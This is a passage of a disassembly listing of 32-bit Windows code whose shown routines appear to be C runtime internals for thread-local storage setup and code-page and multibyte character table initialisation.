loc_420CEC byte_421621 db 0 ; DATA XREF: sub_4209A0+2E8r dw 404h dd 7 dup(4040404h), 4040401h, 4040402h, 4040404h, 3040404h off_421650 dd offset loc_420D2C ; DATA XREF: sub_4209A0+385r dd offset loc_420FC0 dd offset loc_420E50 dd offset loc_4210F9 dd offset loc_420DBB dd offset loc_420D41 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 10h, 42h, 0 dd offset loc_420FD0 dd offset loc_420F75 dd offset loc_421145 dd offset loc_4210EF dd offset loc_420E66 dd offset loc_4210E3 dd offset loc_421105 dd offset loc_4213D7 byte_42168C db 0, 0Eh, 1, 0Eh, 1, 0Bh dup(0Eh), 2, 4 dup(0Eh), 3, 0Eh ; DATA XREF: sub_4209A0+37Fr db 4, 8 dup(0Eh), 5, 6, 3 dup(7), 0Eh, 6, 4 dup(0Eh), 8 db 9, 0Ah, 2 dup(0Eh), 0Bh, 0Eh, 0Ch, 2 dup(0Eh), 0Dh db 0Eh dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4216D0 proc near ; CODE XREF: sub_4209A0+F5p ; sub_4209A0+14Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] mov ecx, [eax+4] sub ecx, 1 mov edx, [ebp+arg_4] mov [edx+4], ecx mov eax, [ebp+arg_4] cmp dword ptr [eax+4], 0 jl short loc_421712 mov ecx, [ebp+arg_4] mov edx, [ecx] mov al, byte ptr [ebp+arg_0] mov [edx], al movsx ecx, byte ptr [ebp+arg_0] and ecx, 0FFh mov [ebp+var_4], ecx mov edx, [ebp+arg_4] mov eax, [edx] add eax, 1 mov ecx, [ebp+arg_4] mov [ecx], eax jmp short loc_421725 ; --------------------------------------------------------------------------- loc_421712: ; CODE XREF: sub_4216D0+1Aj mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_420720 add esp, 8 mov [ebp+var_4], eax loc_421725: ; CODE XREF: sub_4216D0+40j cmp [ebp+var_4], 0FFFFFFFFh jnz short loc_421736 mov ecx, [ebp+arg_8] mov dword ptr [ecx], 0FFFFFFFFh jmp short loc_421743 ; --------------------------------------------------------------------------- loc_421736: ; CODE XREF: sub_4216D0+59j mov edx, [ebp+arg_8] mov eax, [edx] add eax, 1 mov ecx, [ebp+arg_8] mov [ecx], eax loc_421743: ; CODE XREF: sub_4216D0+64j mov esp, ebp pop ebp retn sub_4216D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421750 proc near ; CODE XREF: sub_4209A0+ACDp ; sub_4209A0+B1Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp loc_421753: ; CODE XREF: sub_421750:loc_421781j mov eax, [ebp+arg_4] mov ecx, [ebp+arg_4] sub ecx, 1 mov [ebp+arg_4], ecx test eax, eax jle short loc_421783 mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_0] push ecx call sub_4216D0 add esp, 0Ch mov edx, [ebp+arg_C] cmp dword ptr [edx], 0FFFFFFFFh jnz short loc_421781 jmp short loc_421783 ; --------------------------------------------------------------------------- loc_421781: ; CODE XREF: sub_421750+2Dj jmp short loc_421753 ; --------------------------------------------------------------------------- loc_421783: ; CODE XREF: sub_421750+11j ; sub_421750+2Fj pop ebp retn sub_421750 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421790 proc near ; CODE XREF: sub_4209A0+AEBp ; sub_4209A0+BC2p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx loc_421794: ; CODE XREF: sub_421790:loc_4217D4j mov eax, [ebp+arg_4] mov ecx, [ebp+arg_4] sub ecx, 1 mov [ebp+arg_4], ecx test eax, eax jle short loc_4217D6 mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx] mov [ebp+var_4], edx mov eax, [ebp+var_4] push eax mov ecx, [ebp+arg_0] add ecx, 1 mov [ebp+arg_0], ecx call sub_4216D0 add esp, 0Ch mov edx, [ebp+arg_C] cmp dword ptr [edx], 0FFFFFFFFh jnz short loc_4217D4 jmp short loc_4217D6 ; --------------------------------------------------------------------------- loc_4217D4: ; CODE XREF: sub_421790+40j jmp short loc_421794 ; --------------------------------------------------------------------------- loc_4217D6: ; CODE XREF: sub_421790+12j ; sub_421790+42j mov esp, ebp pop ebp retn sub_421790 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4217E0 proc near ; CODE XREF: sub_4209A0+218p ; sub_4209A0+27Fp ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] mov ecx, [eax] add ecx, 4 mov edx, [ebp+arg_0] mov [edx], ecx mov eax, [ebp+arg_0] mov ecx, [eax] mov eax, [ecx-4] pop ebp retn sub_4217E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421800 proc near ; CODE XREF: sub_4209A0+7D5p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] mov ecx, [eax] add ecx, 8 mov edx, [ebp+arg_0] mov [edx], ecx mov eax, [ebp+arg_0] mov ecx, [eax] sub ecx, 8 mov eax, [ecx] mov edx, [ecx+4] pop ebp retn sub_421800 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421820 proc near ; CODE XREF: sub_4209A0+3B2p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] mov ecx, [eax] add ecx, 4 mov edx, [ebp+arg_0] mov [edx], ecx mov eax, [ebp+arg_0] mov ecx, [eax] mov ax, [ecx-4] pop ebp retn sub_421820 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421840 proc near ; CODE XREF: sub_41AB00:loc_41AB94p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx call sub_41BBA0 call dword_4E04A0 ; TlsAlloc mov dword_447498, eax cmp dword_447498, 0FFFFFFFFh jnz short loc_421861 xor eax, eax jmp short loc_4218BE ; --------------------------------------------------------------------------- loc_421861: ; CODE XREF: sub_421840+1Bj push 61h push offset aTidtable_c ; "tidtable.c" push 2 push 74h push 1 call sub_415520 add esp, 14h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_421894 mov eax, [ebp+var_4] push eax mov ecx, dword_447498 push ecx call dword_4E049C ; TlsSetValue test eax, eax jnz short loc_421898 loc_421894: ; CODE XREF: sub_421840+3Dj xor eax, eax jmp short loc_4218BE ; --------------------------------------------------------------------------- loc_421898: ; CODE XREF: sub_421840+52j mov edx, [ebp+var_4] push edx call sub_421900 add esp, 4 call dword_4E0498 ; GetCurrentThreadId mov ecx, [ebp+var_4] mov [ecx], eax mov edx, [ebp+var_4] mov dword ptr [edx+4], 0FFFFFFFFh mov eax, 1 loc_4218BE: ; CODE XREF: sub_421840+1Fj ; sub_421840+56j mov esp, ebp pop ebp retn sub_421840 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp call sub_41BBE0 cmp dword_447498, 0FFFFFFFFh jz short loc_4218F7 mov eax, dword_447498 push eax call dword_4E04A4 ; TlsFree mov dword_447498, 0FFFFFFFFh loc_4218F7: ; CODE XREF: .data:004218DFj pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421900 proc near ; CODE XREF: sub_421840+5Cp ; sub_421920+5Ep arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] mov dword ptr [eax+50h], offset dword_4479A8 mov ecx, [ebp+arg_0] mov dword ptr [ecx+14h], 1 pop ebp retn sub_421900 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421920 proc near ; CODE XREF: sub_417DB0+3p ; sub_417DC0+4p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 8 call dword_4E0350 ; RtlGetLastWin32Error mov [ebp+var_8], eax mov eax, dword_447498 push eax call dword_4E04AC ; TlsGetValue mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4219A7 push 0E7h push offset aTidtable_c ; "tidtable.c" push 2 push 74h push 1 call sub_415520 add esp, 14h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_42199D mov ecx, [ebp+var_4] push ecx mov edx, dword_447498 push edx call dword_4E049C ; TlsSetValue test eax, eax jz short loc_42199D mov eax, [ebp+var_4] push eax call sub_421900 add esp, 4 call dword_4E0498 ; GetCurrentThreadId mov ecx, [ebp+var_4] mov [ecx], eax mov edx, [ebp+var_4] mov dword ptr [edx+4], 0FFFFFFFFh jmp short loc_4219A7 ; --------------------------------------------------------------------------- loc_42199D: ; CODE XREF: sub_421920+43j ; sub_421920+58j push 10h call sub_41AC70 add esp, 4 loc_4219A7: ; CODE XREF: sub_421920+22j ; sub_421920+7Bj mov eax, [ebp+var_8] push eax call dword_4E04A8 ; RtlSetLastWin32Error mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_421920 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp cmp dword_447498, 0FFFFFFFFh jz loc_421AC5 cmp dword ptr [ebp+8], 0 jnz short loc_4219E5 mov eax, dword_447498 push eax call dword_4E04AC ; TlsGetValue mov [ebp+8], eax loc_4219E5: ; CODE XREF: .data:004219D4j cmp dword ptr [ebp+8], 0 jz loc_421AB6 mov ecx, [ebp+8] cmp dword ptr [ecx+24h], 0 jz short loc_421A09 push 2 mov edx, [ebp+8] mov eax, [edx+24h] push eax call sub_415C60 add esp, 8 loc_421A09: ; CODE XREF: .data:004219F6j mov ecx, [ebp+8] cmp dword ptr [ecx+28h], 0 jz short loc_421A23 push 2 mov edx, [ebp+8] mov eax, [edx+28h] push eax call sub_415C60 add esp, 8 loc_421A23: ; CODE XREF: .data:00421A10j mov ecx, [ebp+8] cmp dword ptr [ecx+30h], 0 jz short loc_421A3D push 2 mov edx, [ebp+8] mov eax, [edx+30h] push eax call sub_415C60 add esp, 8 loc_421A3D: ; CODE XREF: .data:00421A2Aj mov ecx, [ebp+8] cmp dword ptr [ecx+38h], 0 jz short loc_421A57 push 2 mov edx, [ebp+8] mov eax, [edx+38h] push eax call sub_415C60 add esp, 8 loc_421A57: ; CODE XREF: .data:00421A44j mov ecx, [ebp+8] cmp dword ptr [ecx+40h], 0 jz short loc_421A71 push 2 mov edx, [ebp+8] mov eax, [edx+40h] push eax call sub_415C60 add esp, 8 loc_421A71: ; CODE XREF: .data:00421A5Ej mov ecx, [ebp+8] cmp dword ptr [ecx+44h], 0 jz short loc_421A8B push 2 mov edx, [ebp+8] mov eax, [edx+44h] push eax call sub_415C60 add esp, 8 loc_421A8B: ; CODE XREF: .data:00421A78j mov ecx, [ebp+8] cmp dword ptr [ecx+50h], offset dword_4479A8 jz short loc_421AA8 push 2 mov edx, [ebp+8] mov eax, [edx+50h] push eax call sub_415C60 add esp, 8 loc_421AA8: ; CODE XREF: .data:00421A95j push 2 mov ecx, [ebp+8] push ecx call sub_415C60 add esp, 8 loc_421AB6: ; CODE XREF: .data:004219E9j push 0 mov edx, dword_447498 push edx call dword_4E049C ; TlsSetValue loc_421AC5: ; CODE XREF: .data:004219CAj pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp call dword_4E0498 ; GetCurrentThreadId pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp call dword_4E04B0 ; GetCurrentThread pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421AF0 proc near ; CODE XREF: sub_4222D0+Ep var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1A = byte ptr -1Ah var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28h push 19h call sub_41BC80 add esp, 4 mov eax, [ebp+arg_0] push eax call sub_421E40 add esp, 4 mov [ebp+arg_0], eax mov ecx, [ebp+arg_0] cmp ecx, dword_4DE42C jnz short loc_421B2B push 19h call sub_41BD20 add esp, 4 xor eax, eax jmp loc_421E30 ; --------------------------------------------------------------------------- loc_421B2B: ; CODE XREF: sub_421AF0+28j cmp [ebp+arg_0], 0 jnz short loc_421B4C call sub_421F20 call sub_421FA0 push 19h call sub_41BD20 add esp, 4 xor eax, eax jmp loc_421E30 ; --------------------------------------------------------------------------- loc_421B4C: ; CODE XREF: sub_421AF0+3Fj mov [ebp+var_4], 0 jmp short loc_421B5E ; --------------------------------------------------------------------------- loc_421B55: ; CODE XREF: sub_421AF0:loc_421CAAj mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_421B5E: ; CODE XREF: sub_421AF0+63j cmp [ebp+var_4], 5 jnb loc_421CAF mov eax, [ebp+var_4] imul eax, 30h mov ecx, dword_4474A8[eax] cmp ecx, [ebp+arg_0] jnz loc_421CAA mov [ebp+var_24], 0 jmp short loc_421B8F ; --------------------------------------------------------------------------- loc_421B86: ; CODE XREF: sub_421AF0+B2j mov edx, [ebp+var_24] add edx, 1 mov [ebp+var_24], edx loc_421B8F: ; CODE XREF: sub_421AF0+94j cmp [ebp+var_24], 101h jnb short loc_421BA4 mov eax, [ebp+var_24] mov byte_4DE540[eax], 0 jmp short loc_421B86 ; --------------------------------------------------------------------------- loc_421BA4: ; CODE XREF: sub_421AF0+A6j mov [ebp+var_C], 0 jmp short loc_421BB6 ; --------------------------------------------------------------------------- loc_421BAD: ; CODE XREF: sub_421AF0:loc_421C32j mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx loc_421BB6: ; CODE XREF: sub_421AF0+BBj cmp [ebp+var_C], 4 jnb short loc_421C37 mov edx, [ebp+var_4] imul edx, 30h mov eax, [ebp+var_C] lea ecx, dword_4474B8[edx+eax*8] mov [ebp+var_8], ecx jmp short loc_421BDA ; --------------------------------------------------------------------------- loc_421BD1: ; CODE XREF: sub_421AF0:loc_421C30j mov edx, [ebp+var_8] add edx, 2 mov [ebp+var_8], edx loc_421BDA: ; CODE XREF: sub_421AF0+DFj mov eax, [ebp+var_8] xor ecx, ecx mov cl, [eax] test ecx, ecx jz short loc_421C32 mov edx, [ebp+var_8] xor eax, eax mov al, [edx+1] test eax, eax jz short loc_421C32 mov ecx, [ebp+var_8] xor edx, edx mov dl, [ecx] mov [ebp+var_24], edx jmp short loc_421C06 ; --------------------------------------------------------------------------- loc_421BFD: ; CODE XREF: sub_421AF0+13Ej mov eax, [ebp+var_24] add eax, 1 mov [ebp+var_24], eax loc_421C06: ; CODE XREF: sub_421AF0+10Bj mov ecx, [ebp+var_8] xor edx, edx mov dl, [ecx+1] cmp [ebp+var_24], edx ja short loc_421C30 mov eax, [ebp+var_24] mov ecx, [ebp+var_C] mov dl, byte_4DE541[eax] or dl, byte_4474A0[ecx] mov eax, [ebp+var_24] mov byte_4DE541[eax], dl jmp short loc_421BFD ; --------------------------------------------------------------------------- loc_421C30: ; CODE XREF: sub_421AF0+121j jmp short loc_421BD1 ; --------------------------------------------------------------------------- loc_421C32: ; CODE XREF: sub_421AF0+F3j ; sub_421AF0+FFj jmp loc_421BAD ; --------------------------------------------------------------------------- loc_421C37: ; CODE XREF: sub_421AF0+CAj mov ecx, [ebp+arg_0] mov dword_4DE42C, ecx mov dword_4DE43C, 1 mov edx, dword_4DE42C push edx call sub_421EA0 add esp, 4 mov dword_4DE644, eax mov [ebp+var_C], 0 jmp short loc_421C70 ; --------------------------------------------------------------------------- loc_421C67: ; CODE XREF: sub_421AF0+1A2j mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax loc_421C70: ; CODE XREF: sub_421AF0+175j cmp [ebp+var_C], 6 jnb short loc_421C94 mov ecx, [ebp+var_4] imul ecx, 30h mov edx, [ebp+var_C] mov eax, [ebp+var_C] mov cx, word_4474AC[ecx+eax*2] mov word_4DE430[edx*2], cx jmp short loc_421C67 ; --------------------------------------------------------------------------- loc_421C94: ; CODE XREF: sub_421AF0+184j call sub_421FA0 push 19h call sub_41BD20 add esp, 4 xor eax, eax jmp loc_421E30 ; --------------------------------------------------------------------------- loc_421CAA: ; CODE XREF: sub_421AF0+87j jmp loc_421B55 ; --------------------------------------------------------------------------- loc_421CAF: ; CODE XREF: sub_421AF0+72j lea edx, [ebp+var_20] push edx mov eax, [ebp+arg_0] push eax call dword_4E04B4 ; GetCPInfo cmp eax, 1 jnz loc_421E02 mov [ebp+var_24], 0 jmp short loc_421CD8 ; --------------------------------------------------------------------------- loc_421CCF: ; CODE XREF: sub_421AF0+1FBj mov ecx, [ebp+var_24] add ecx, 1 mov [ebp+var_24], ecx loc_421CD8: ; CODE XREF: sub_421AF0+1DDj cmp [ebp+var_24], 101h jnb short loc_421CED mov edx, [ebp+var_24] mov byte_4DE540[edx], 0 jmp short loc_421CCF ; --------------------------------------------------------------------------- loc_421CED: ; CODE XREF: sub_421AF0+1EFj mov eax, [ebp+arg_0] mov dword_4DE42C, eax mov dword_4DE644, 0 cmp [ebp+var_20], 1 jbe loc_421DBE lea ecx, [ebp+var_1A] mov [ebp+var_28], ecx jmp short loc_421D1A ; --------------------------------------------------------------------------- loc_421D11: ; CODE XREF: sub_421AF0:loc_421D6Aj mov edx, [ebp+var_28] add edx, 2 mov [ebp+var_28], edx loc_421D1A: ; CODE XREF: sub_421AF0+21Fj mov eax, [ebp+var_28] xor ecx, ecx mov cl, [eax] test ecx, ecx jz short loc_421D6C mov edx, [ebp+var_28] xor eax, eax mov al, [edx+1] test eax, eax jz short loc_421D6C mov ecx, [ebp+var_28] xor edx, edx mov dl, [ecx] mov [ebp+var_24], edx jmp short loc_421D46 ; --------------------------------------------------------------------------- loc_421D3D: ; CODE XREF: sub_421AF0+278j mov eax, [ebp+var_24] add eax, 1 mov [ebp+var_24], eax loc_421D46: ; CODE XREF: sub_421AF0+24Bj mov ecx, [ebp+var_28] xor edx, edx mov dl, [ecx+1] cmp [ebp+var_24], edx ja short loc_421D6A mov eax, [ebp+var_24] mov cl, byte_4DE541[eax] or cl, 4 mov edx, [ebp+var_24] mov byte_4DE541[edx], cl jmp short loc_421D3D ; --------------------------------------------------------------------------- loc_421D6A: ; CODE XREF: sub_421AF0+261j jmp short loc_421D11 ; --------------------------------------------------------------------------- loc_421D6C: ; CODE XREF: sub_421AF0+233j ; sub_421AF0+23Fj mov [ebp+var_24], 1 jmp short loc_421D7E ; --------------------------------------------------------------------------- loc_421D75: ; CODE XREF: sub_421AF0+2ACj mov eax, [ebp+var_24] add eax, 1 mov [ebp+var_24], eax loc_421D7E: ; CODE XREF: sub_421AF0+283j cmp [ebp+var_24], 0FFh jnb short loc_421D9E mov ecx, [ebp+var_24] mov dl, byte_4DE541[ecx] or dl, 8 mov eax, [ebp+var_24] mov byte_4DE541[eax], dl jmp short loc_421D75 ; --------------------------------------------------------------------------- loc_421D9E: ; CODE XREF: sub_421AF0+295j mov ecx, dword_4DE42C push ecx call sub_421EA0 add esp, 4 mov dword_4DE644, eax mov dword_4DE43C, 1 jmp short loc_421DC8 ; --------------------------------------------------------------------------- loc_421DBE: ; CODE XREF: sub_421AF0+213j mov dword_4DE43C, 0 loc_421DC8: ; CODE XREF: sub_421AF0+2CCj mov [ebp+var_C], 0 jmp short loc_421DDA ; --------------------------------------------------------------------------- loc_421DD1: ; CODE XREF: sub_421AF0+2FDj mov edx, [ebp+var_C] add edx, 1 mov [ebp+var_C], edx loc_421DDA: ; CODE XREF: sub_421AF0+2DFj cmp [ebp+var_C], 6 jnb short loc_421DEF mov eax, [ebp+var_C] mov word_4DE430[eax*2], 0 jmp short loc_421DD1 ; --------------------------------------------------------------------------- loc_421DEF: ; CODE XREF: sub_421AF0+2EEj call sub_421FA0 push 19h call sub_41BD20 add esp, 4 xor eax, eax jmp short loc_421E30 ; --------------------------------------------------------------------------- loc_421E02: ; CODE XREF: sub_421AF0+1D0j cmp dword_4DE054, 0 jz short loc_421E23 call sub_421F20 call sub_421FA0 push 19h call sub_41BD20 add esp, 4 xor eax, eax jmp short loc_421E30 ; --------------------------------------------------------------------------- loc_421E23: ; CODE XREF: sub_421AF0+319j push 19h call sub_41BD20 add esp, 4 or eax, 0FFFFFFFFh loc_421E30: ; CODE XREF: sub_421AF0+36j ; sub_421AF0+57j ... mov esp, ebp pop ebp retn sub_421AF0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421E40 proc near ; CODE XREF: sub_421AF0+14p arg_0 = dword ptr 8 push ebp mov ebp, esp mov dword_4DE054, 0 cmp [ebp+arg_0], 0FFFFFFFEh jnz short loc_421E65 mov dword_4DE054, 1 call dword_4E04BC ; GetOEMCP jmp short loc_421E97 ; --------------------------------------------------------------------------- loc_421E65: ; CODE XREF: sub_421E40+11j cmp [ebp+arg_0], 0FFFFFFFDh jnz short loc_421E7D mov dword_4DE054, 1 call dword_4E04B8 ; GetACP jmp short loc_421E97 ; --------------------------------------------------------------------------- loc_421E7D: ; CODE XREF: sub_421E40+29j cmp [ebp+arg_0], 0FFFFFFFCh jnz short loc_421E94 mov dword_4DE054, 1 mov eax, dword_4DE084 jmp short loc_421E97 ; --------------------------------------------------------------------------- loc_421E94: ; CODE XREF: sub_421E40+41j mov eax, [ebp+arg_0] loc_421E97: ; CODE XREF: sub_421E40+23j ; sub_421E40+3Bj ... pop ebp retn sub_421E40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421EA0 proc near ; CODE XREF: sub_421AF0+161p ; sub_421AF0+2B5p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] mov [ebp+var_4], eax mov ecx, [ebp+var_4] sub ecx, 3A4h mov [ebp+var_4], ecx cmp [ebp+var_4], 12h ja short loc_421EEA mov eax, [ebp+var_4] xor edx, edx mov dl, byte_421F04[eax] jmp off_421EF0[edx*4] loc_421ECE: ; DATA XREF: .data:off_421EF0o mov eax, 411h jmp short loc_421EEC ; --------------------------------------------------------------------------- loc_421ED5: ; CODE XREF: sub_421EA0+27j ; DATA XREF: .data:00421EF4o mov eax, 804h jmp short loc_421EEC ; --------------------------------------------------------------------------- loc_421EDC: ; CODE XREF: sub_421EA0+27j ; DATA XREF: .data:00421EF8o mov eax, 412h jmp short loc_421EEC ; --------------------------------------------------------------------------- loc_421EE3: ; CODE XREF: sub_421EA0+27j ; DATA XREF: .data:00421EFCo mov eax, 404h jmp short loc_421EEC ; --------------------------------------------------------------------------- loc_421EEA: ; CODE XREF: sub_421EA0+1Aj ; sub_421EA0+27j ; DATA XREF: ... xor eax, eax loc_421EEC: ; CODE XREF: sub_421EA0+33j ; sub_421EA0+3Aj ... mov esp, ebp pop ebp retn sub_421EA0 endp ; --------------------------------------------------------------------------- off_421EF0 dd offset loc_421ECE ; DATA XREF: sub_421EA0+27r dd offset loc_421ED5 dd offset loc_421EDC dd offset loc_421EE3 dd offset loc_421EEA byte_421F04 db 0 ; DATA XREF: sub_421EA0+21r db 3 dup(4) dd 4040401h, 2 dup(4040404h), 0CC030204h, 2 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421F20 proc near ; CODE XREF: sub_421AF0+41p ; sub_421AF0+31Bp var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], 0 jmp short loc_421F36 ; --------------------------------------------------------------------------- loc_421F2D: ; CODE XREF: sub_421F20+29j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_421F36: ; CODE XREF: sub_421F20+Bj cmp [ebp+var_4], 101h jge short loc_421F4B mov ecx, [ebp+var_4] mov byte_4DE540[ecx], 0 jmp short loc_421F2D ; --------------------------------------------------------------------------- loc_421F4B: ; CODE XREF: sub_421F20+1Dj mov dword_4DE42C, 0 mov dword_4DE43C, 0 mov dword_4DE644, 0 mov [ebp+var_4], 0 jmp short loc_421F7B ; --------------------------------------------------------------------------- loc_421F72: ; CODE XREF: sub_421F20+6Ej mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_421F7B: ; CODE XREF: sub_421F20+50j cmp [ebp+var_4], 6 jge short loc_421F90 mov eax, [ebp+var_4] mov word_4DE430[eax*2], 0 jmp short loc_421F72 ; --------------------------------------------------------------------------- loc_421F90: ; CODE XREF: sub_421F20+5Fj mov esp, ebp pop ebp retn sub_421F20 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421FA0 proc near ; CODE XREF: sub_421AF0+46p ; sub_421AF0:loc_421C94p ... var_51C = dword ptr -51Ch var_518 = byte ptr -518h var_418 = byte ptr -418h var_318 = byte ptr -318h var_312 = byte ptr -312h var_304 = byte ptr -304h var_204 = word ptr -204h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 51Ch lea eax, [ebp+var_318] push eax mov ecx, dword_4DE42C push ecx call dword_4E04B4 ; GetCPInfo cmp eax, 1 jnz loc_4221D9 mov [ebp+var_51C], 0 jmp short loc_421FE1 ; --------------------------------------------------------------------------- loc_421FD2: ; CODE XREF: sub_421FA0+60j mov edx, [ebp+var_51C] add edx, 1 mov [ebp+var_51C], edx loc_421FE1: ; CODE XREF: sub_421FA0+30j cmp [ebp+var_51C], 100h jnb short loc_422002 mov eax, [ebp+var_51C] mov cl, byte ptr [ebp+var_51C] mov [ebp+eax+var_304], cl jmp short loc_421FD2 ; --------------------------------------------------------------------------- loc_422002: ; CODE XREF: sub_421FA0+4Bj mov [ebp+var_304], 20h lea edx, [ebp+var_312] mov [ebp+var_4], edx jmp short loc_42201D ; --------------------------------------------------------------------------- loc_422014: ; CODE XREF: sub_421FA0:loc_422066j mov eax, [ebp+var_4] add eax, 2 mov [ebp+var_4], eax loc_42201D: ; CODE XREF: sub_421FA0+72j mov ecx, [ebp+var_4] xor edx, edx mov dl, [ecx] test edx, edx jz short loc_422068 mov eax, [ebp+var_4] xor ecx, ecx mov cl, [eax] mov [ebp+var_51C], ecx jmp short loc_422046 ; --------------------------------------------------------------------------- loc_422037: ; CODE XREF: sub_421FA0+C4j mov edx, [ebp+var_51C] add edx, 1 mov [ebp+var_51C], edx loc_422046: ; CODE XREF: sub_421FA0+95j mov eax, [ebp+var_4] xor ecx, ecx mov cl, [eax+1] cmp [ebp+var_51C], ecx ja short loc_422066 mov edx, [ebp+var_51C] mov [ebp+edx+var_304], 20h jmp short loc_422037 ; --------------------------------------------------------------------------- loc_422066: ; CODE XREF: sub_421FA0+B4j jmp short loc_422014 ; --------------------------------------------------------------------------- loc_422068: ; CODE XREF: sub_421FA0+86j push 0 mov eax, dword_4DE644 push eax mov ecx, dword_4DE42C push ecx lea edx, [ebp+var_204] push edx push 100h lea eax, [ebp+var_304] push eax push 1 call sub_429B60 add esp, 1Ch push 0 mov ecx, dword_4DE42C push ecx push 100h lea edx, [ebp+var_418] push edx push 100h lea eax, [ebp+var_304] push eax push 100h mov ecx, dword_4DE644 push ecx call sub_4275A0 add esp, 20h push 0 mov edx, dword_4DE42C push edx push 100h lea eax, [ebp+var_518] push eax push 100h lea ecx, [ebp+var_304] push ecx push 200h mov edx, dword_4DE644 push edx call sub_4275A0 add esp, 20h mov [ebp+var_51C], 0 jmp short loc_422119 ; --------------------------------------------------------------------------- loc_42210A: ; CODE XREF: sub_421FA0:loc_4221CFj mov eax, [ebp+var_51C] add eax, 1 mov [ebp+var_51C], eax loc_422119: ; CODE XREF: sub_421FA0+168j cmp [ebp+var_51C], 100h jnb loc_4221D4 mov ecx, [ebp+var_51C] xor edx, edx mov dx, [ebp+ecx*2+var_204] and edx, 1 test edx, edx jz short loc_422176 mov eax, [ebp+var_51C] mov cl, byte_4DE541[eax] or cl, 10h mov edx, [ebp+var_51C] mov byte_4DE541[edx], cl mov eax, [ebp+var_51C] mov ecx, [ebp+var_51C] mov dl, [ebp+ecx+var_418] mov byte_4DE440[eax], dl jmp short loc_4221CF ; --------------------------------------------------------------------------- loc_422176: ; CODE XREF: sub_421FA0+19Ej mov eax, [ebp+var_51C] xor ecx, ecx mov cx, [ebp+eax*2+var_204] and ecx, 2 test ecx, ecx jz short loc_4221C2 mov edx, [ebp+var_51C] mov al, byte_4DE541[edx] or al, 20h mov ecx, [ebp+var_51C] mov byte_4DE541[ecx], al mov edx, [ebp+var_51C] mov eax, [ebp+var_51C] mov cl, [ebp+eax+var_518] mov byte_4DE440[edx], cl jmp short loc_4221CF ; --------------------------------------------------------------------------- loc_4221C2: ; CODE XREF: sub_421FA0+1EBj mov edx, [ebp+var_51C] mov byte_4DE440[edx], 0 loc_4221CF: ; CODE XREF: sub_421FA0+1D4j ; sub_421FA0+220j jmp loc_42210A ; --------------------------------------------------------------------------- loc_4221D4: ; CODE XREF: sub_421FA0+183j jmp loc_42229E ; --------------------------------------------------------------------------- loc_4221D9: ; CODE XREF: sub_421FA0+20j mov [ebp+var_51C], 0 jmp short loc_4221F4 ; --------------------------------------------------------------------------- loc_4221E5: ; 